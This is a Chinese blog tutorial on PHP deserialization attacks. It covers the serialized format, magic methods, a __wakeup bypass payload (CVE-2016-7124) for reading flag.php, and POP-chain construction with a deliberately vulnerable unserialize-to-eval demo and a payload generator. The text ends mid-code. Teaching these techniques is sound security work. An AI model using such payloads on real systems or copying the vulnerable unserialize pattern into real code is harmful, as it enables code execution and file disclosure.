<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      PHP反序列化整理 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        PHP反序列化整理
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-10-05
      </span>

                                                                        <span class="post-pubtime"> 本文共3.6k字 </span>

                                                                        <span class="post-pubtime">
        大约需要24min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/WEB/" title="WEB">
            <b>#</b> WEB
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[toc]</p>
<h1 id="1-反序列化"><a href="#1-反序列化" class="headerlink" title="1.反序列化"></a>1.反序列化</h1><p>Demo:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">test</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line">        <span class="keyword">private</span> <span class="variable">$flag</span> = <span class="string">&quot;flag&#123;233&#125;&quot;</span>;</span><br><span class="line">    	<span class="keyword">protected</span> <span class="variable">$ccc</span> = <span class="string">&quot;ccc&quot;</span>;</span><br><span class="line">        <span class="keyword">public</span> <span class="variable">$a</span> = <span class="string">&quot;aaa&quot;</span>;</span><br><span class="line">        <span class="built_in">static</span> <span class="variable">$b</span> = <span class="string">&quot;bbb&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="variable">$test</span> = <span class="keyword">new</span> test;</span><br><span class="line">    <span class="variable">$data</span> = serialize(<span class="variable">$test</span>);</span><br><span class="line">    <span class="keyword">echo</span> <span class="variable">$data</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">    out:</span><br><span class="line">O:<span class="number">4</span>:<span class="string">&quot;test&quot;</span>:<span class="number">3</span>:&#123;s:<span class="number">10</span>:<span class="string">&quot;testflag&quot;</span>;s:<span class="number">9</span>:<span class="string">&quot;flag&#123;233&#125;&quot;</span>;s:<span class="number">6</span>:<span class="string">&quot;*ccc&quot;</span>;s:<span class="number">3</span>:<span class="string">&quot;ccc&quot;</span>;s:<span class="number">1</span>:<span class="string">&quot;a&quot;</span>;s:<span class="number">3</span>:<span class="string">&quot;aaa&quot;</span>;&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>注意这里testflag长度为8，但序列化的显示确是10，可以抓包一下：</p>
<p><img src="/2021/10/05/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B4%E7%90%86/image-20211005134208833.png" alt="image-20211005134208833"></p>
<p>可以看到其实类名的前后有不可见字符，其实就是%00，这是因为flag是private，所以在传入序列化字符串进行反序列化时需要注意补齐两个空字节。（protected同理）</p>
<p>反序列化：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line">    <span class="variable">$str</span> = <span class="string">&#x27;O%3A4%3A%22test%22%3A2%3A%7Bs%3A10%3A%22%00test%00flag%22%3Bs%3A9%3A%22flag%7B233%7D%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3B%7D&#x27;</span>;</span><br><span class="line">    <span class="variable">$data</span> = urldecode(<span class="variable">$str</span>);</span><br><span class="line">    <span class="variable">$obj</span> = unserialize(<span class="variable">$data</span>);</span><br><span class="line"></span><br><span class="line">    var_dump(<span class="variable">$obj</span>);</span><br><span class="line"> <span class="meta">?&gt;</span></span><br><span class="line">     out:</span><br><span class="line"><span class="keyword">object</span>(<span class="built_in">__PHP_Incomplete_Class</span>)<span class="comment">#1 (3) &#123; </span></span><br><span class="line">    [<span class="string">&quot;__PHP_Incomplete_Class_Name&quot;</span>]=&gt; <span class="keyword">string</span>(<span class="number">4</span>) <span class="string">&quot;test&quot;</span> </span><br><span class="line">    [<span class="string">&quot;flag:private&quot;</span>]=&gt; <span class="keyword">string</span>(<span class="number">9</span>) <span class="string">&quot;flag&#123;233&#125;&quot;</span> </span><br><span class="line">    [<span class="string">&quot;a&quot;</span>]=&gt; <span class="keyword">string</span>(<span class="number">3</span>) <span class="string">&quot;aaa&quot;</span> &#125; </span><br></pre></td></tr></table></figure>

<h2 id="1-魔术方法"><a href="#1-魔术方法" class="headerlink" title="1.魔术方法"></a>1.魔术方法</h2><p>常见魔术方法：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">__construct()<span class="comment">//创建对象时触发</span></span><br><span class="line">__destruct() <span class="comment">//对象被销毁时触发</span></span><br><span class="line">__call() <span class="comment">//在对象上下文中调用不可访问的方法时触发</span></span><br><span class="line">__callStatic() <span class="comment">//在静态上下文中调用不可访问的方法时触发</span></span><br><span class="line">__get() <span class="comment">//用于从不可访问的属性读取数据</span></span><br><span class="line">__set() <span class="comment">//用于将数据写入不可访问的属性</span></span><br><span class="line">__isset() <span class="comment">//在不可访问的属性上调用isset()或empty()触发</span></span><br><span class="line">__unset() <span class="comment">//在不可访问的属性上使用unset()时触发</span></span><br><span class="line">__invoke() <span class="comment">//当脚本尝试将对象调用为函数时触发</span></span><br><span class="line">__sleep()<span class="comment">//在对象在被序列化之前运行</span></span><br><span class="line">__wakeup()<span class="comment">//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)</span></span><br><span class="line">__toString() <span class="comment">//当一个对象被当作一个字符串使用</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<h3 id="sleep"><a href="#sleep" class="headerlink" title="__sleep()"></a>__sleep()</h3><blockquote>
<p>  serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在，&#x3D;&#x3D;该方法会先被调用，然后才执行序列化操作&#x3D;&#x3D;。此功能可以用于清理对象，并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容，则 NULL 被序列化，并产生一个 E_NOTICE 级别的错误。</p>
</blockquote>
<p>对象被序列化之前触发，返回需要被序列化存储的成员属性，删除不必要的属性。</p>
<h3 id="wakeup"><a href="#wakeup" class="headerlink" title="__wakeup()"></a>__wakeup()</h3><blockquote>
<p>  unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源。</p>
</blockquote>
<p>预先准备对象资源，返回void，常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。</p>
<p>test:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Caiji</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$ID</span>, <span class="variable">$sex</span>, <span class="variable">$age</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;ID = <span class="variable">$ID</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;sex = <span class="variable">$sex</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;age = <span class="variable">$age</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;info = sprintf(<span class="string">&quot;ID: %s, age: %d, sex: %s&quot;</span>, <span class="keyword">$this</span>-&gt;ID, <span class="keyword">$this</span>-&gt;sex, <span class="keyword">$this</span>-&gt;age);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getInfo</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">$this</span>-&gt;info . <span class="string">&#x27;&lt;br&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * serialize前调用 用于删选需要被序列化存储的成员变量</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> array [description]</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__sleep</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">__METHOD__</span> . <span class="string">&#x27;&lt;br&gt;&#x27;</span>;</span><br><span class="line">        <span class="keyword">return</span> [<span class="string">&#x27;ID&#x27;</span>, <span class="string">&#x27;sex&#x27;</span>, <span class="string">&#x27;age&#x27;</span>];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * unserialize前调用 用于预先准备对象资源</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="keyword">__METHOD__</span> . <span class="string">&#x27;&lt;br&gt;&#x27;</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;info = sprintf(<span class="string">&quot;ID: %s, age: %d, sex: %s&quot;</span>, <span class="keyword">$this</span>-&gt;ID, <span class="keyword">$this</span>-&gt;sex, <span class="keyword">$this</span>-&gt;age);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$me</span> = <span class="keyword">new</span> Caiji(<span class="string">&#x27;twosmi1e&#x27;</span>, <span class="number">20</span>, <span class="string">&#x27;male&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="variable">$me</span>-&gt;getInfo();</span><br><span class="line"><span class="comment">//存在__sleep(函数，$info属性不会被存储</span></span><br><span class="line"><span class="variable">$temp</span> = serialize(<span class="variable">$me</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$temp</span> . <span class="string">&#x27;&lt;br&gt;&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="variable">$me</span> = unserialize(<span class="variable">$temp</span>);</span><br><span class="line"><span class="comment">//__wakeup()组装的$info</span></span><br><span class="line"><span class="variable">$me</span>-&gt;getInfo();</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">    out:</span><br><span class="line">ID: twosmi1e, age: <span class="number">20</span>, sex: male</span><br><span class="line">Caiji::__sleep</span><br><span class="line">O:<span class="number">5</span>:<span class="string">&quot;Caiji&quot;</span>:<span class="number">3</span>:&#123;s:<span class="number">2</span>:<span class="string">&quot;ID&quot;</span>;s:<span class="number">8</span>:<span class="string">&quot;twosmi1e&quot;</span>;s:<span class="number">3</span>:<span class="string">&quot;sex&quot;</span>;i:<span class="number">20</span>;s:<span class="number">3</span>:<span class="string">&quot;age&quot;</span>;s:<span class="number">4</span>:<span class="string">&quot;male&quot;</span>;&#125;</span><br><span class="line">Caiji::__wakeup</span><br><span class="line">ID: twosmi1e, age: <span class="number">20</span>, sex: male</span><br></pre></td></tr></table></figure>

<p>流程：<code>__construct</code>-&gt;<code>getInfo()</code>-&gt;<code>__sleep</code>-&gt;<code>__wakeup</code>-&gt;<code>getInfo()</code></p>
<h3 id="toString-NaN"><a href="#toString-NaN" class="headerlink" title="__toString()"></a>__toString()</h3><blockquote>
<p>  __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串，否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。</p>
</blockquote>
<p>test；</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Caiji</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$ID</span>, <span class="variable">$sex</span>, <span class="variable">$age</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;ID = <span class="variable">$ID</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;sex = <span class="variable">$sex</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;age = <span class="variable">$age</span>;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;info = sprintf(<span class="string">&quot;ID: %s, age: %d, sex: %s&quot;</span>, <span class="keyword">$this</span>-&gt;ID, <span class="keyword">$this</span>-&gt;sex, <span class="keyword">$this</span>-&gt;age);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">$this</span>-&gt;info;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$me</span> = <span class="keyword">new</span> Caiji(<span class="string">&#x27;twosmi1e&#x27;</span>, <span class="number">20</span>, <span class="string">&#x27;male&#x27;</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&#x27;__toString:&#x27;</span> . <span class="variable">$me</span> . <span class="string">&#x27;&lt;br&gt;&#x27;</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">    output:</span><br><span class="line">__toString:ID: twosmi1e, age: <span class="number">20</span>, sex: male</span><br></pre></td></tr></table></figure>

<h2 id="2-反序列化对象注入"><a href="#2-反序列化对象注入" class="headerlink" title="2.反序列化对象注入"></a>2.反序列化对象注入</h2><h3 id="1-绕过-wakeup-方法"><a href="#1-绕过-wakeup-方法" class="headerlink" title="1.绕过__wakeup()方法"></a>1.绕过__wakeup()方法</h3><p>test:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SoFun</span></span>&#123; </span><br><span class="line">  <span class="keyword">protected</span> <span class="variable">$file</span>=<span class="string">&#x27;index.php&#x27;</span>;</span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123; </span><br><span class="line">    <span class="keyword">if</span>(!<span class="keyword">empty</span>(<span class="keyword">$this</span>-&gt;file)) &#123;</span><br><span class="line">      <span class="keyword">if</span>(strchr(<span class="keyword">$this</span>-&gt; file,<span class="string">&quot;\\&quot;</span>)===<span class="literal">false</span> &amp;&amp;  strchr(<span class="keyword">$this</span>-&gt;file, <span class="string">&#x27;/&#x27;</span>)===<span class="literal">false</span>)</span><br><span class="line">        show_source(dirname (<span class="keyword">__FILE__</span>).<span class="string">&#x27;/&#x27;</span>.<span class="keyword">$this</span> -&gt;file);</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;Wrong filename.&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;  </span><br><span class="line">  <span class="function"><span class="keyword">function</span> <span class="title">__wakeup</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">   <span class="keyword">$this</span>-&gt; file=<span class="string">&#x27;index.php&#x27;</span>;</span><br><span class="line">  &#125; </span><br><span class="line">  <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    <span class="title">return</span> &#x27;&#x27; </span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;     </span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>]))&#123; </span><br><span class="line">  show_source(<span class="string">&#x27;index.php&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123; </span><br><span class="line">  <span class="variable">$file</span>=base64_decode(<span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>]); </span><br><span class="line">  <span class="keyword">echo</span> unserialize(<span class="variable">$file</span>); </span><br><span class="line">&#125;</span><br><span class="line"> <span class="meta">?&gt;</span> <span class="comment">#&lt;!--key in flag.php--&gt;</span></span><br></pre></td></tr></table></figure>

<p>就是要利用unserialize将file设为flag.php，但是<code>__wakeup</code>会在unserialize之前执行，所以要绕过这一点。</p>
<p>CVE-2016-7124漏洞，<strong>当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行</strong></p>
<p>构造序列化对象：<code>O:5:&quot;SoFun&quot;:1:&#123;S:7:&quot;\00*\00file&quot;;s:8:&quot;flag.php&quot;;&#125;</code><br><strong>绕过__wakeup</strong>：<code>O:5:&quot;SoFun&quot;:2:&#123;S:7:&quot;\00*\00file&quot;;s:8:&quot;flag.php&quot;;&#125;</code></p>
<h2 id="3-POP链构造"><a href="#3-POP链构造" class="headerlink" title="3.POP链构造"></a>3.POP链构造</h2><h3 id="1-POP：面向属性编程"><a href="#1-POP：面向属性编程" class="headerlink" title="1.POP：面向属性编程"></a>1.POP：面向属性编程</h3><p>面向属性编程（Property-Oriented Programing） 用于上层语言构造特定调用链的方法，与二进制利用中的面向返回编程（Return-Oriented Programing）的原理相似，都是从现有运行环境中寻找一系列的代码或者指令调用，然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。</p>
<h3 id="2-基本概念"><a href="#2-基本概念" class="headerlink" title="2.基本概念"></a>2.基本概念</h3><p>在二进制利用时，ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集，而 POP 链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性（函数方法），将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。<br>二进制中通常是由于内存溢出控制了指令执行流程，而反序列化过程就是控制代码执行流程的方法之一，前提：<strong>进行反序列化的数据能够被用户输入所控制。</strong></p>
<h3 id="3-POP链利用"><a href="#3-POP链利用" class="headerlink" title="3.POP链利用"></a>3.POP链利用</h3><p>一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞，因为自动调用触发漏洞，但如果关键代码没在魔术方法中，而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">lemon</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$ClassObj</span>;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;ClassObj = <span class="keyword">new</span> normal();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;ClassObj-&gt;action();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">normal</span> </span>&#123;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">action</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&quot;hello&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">evil</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$data</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">action</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">eval</span>(<span class="keyword">$this</span>-&gt;data);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line">unserialize(<span class="variable">$_GET</span>[<span class="string">&#x27;d&#x27;</span>]);</span><br></pre></td></tr></table></figure>

<p>lemon类调用normal类，且normal和evil类都有action方法，可以构造pop链调用evil中的action方法：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">lemon</span> </span>&#123;</span><br><span class="line">    <span class="keyword">protected</span> <span class="variable">$ClassObj</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;ClassObj = <span class="keyword">new</span> evil();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">evil</span> </span>&#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="variable">$data</span> = <span class="string">&quot;phpinfo();&quot;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> urlencode(serialize(<span class="keyword">new</span> lemon()));</span><br></pre></td></tr></table></figure>

<p>这里还是要借助<code>__construct</code>方法，不能使用<code>protected $ClassObj = new evil();</code></p>
<p>demo2:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span 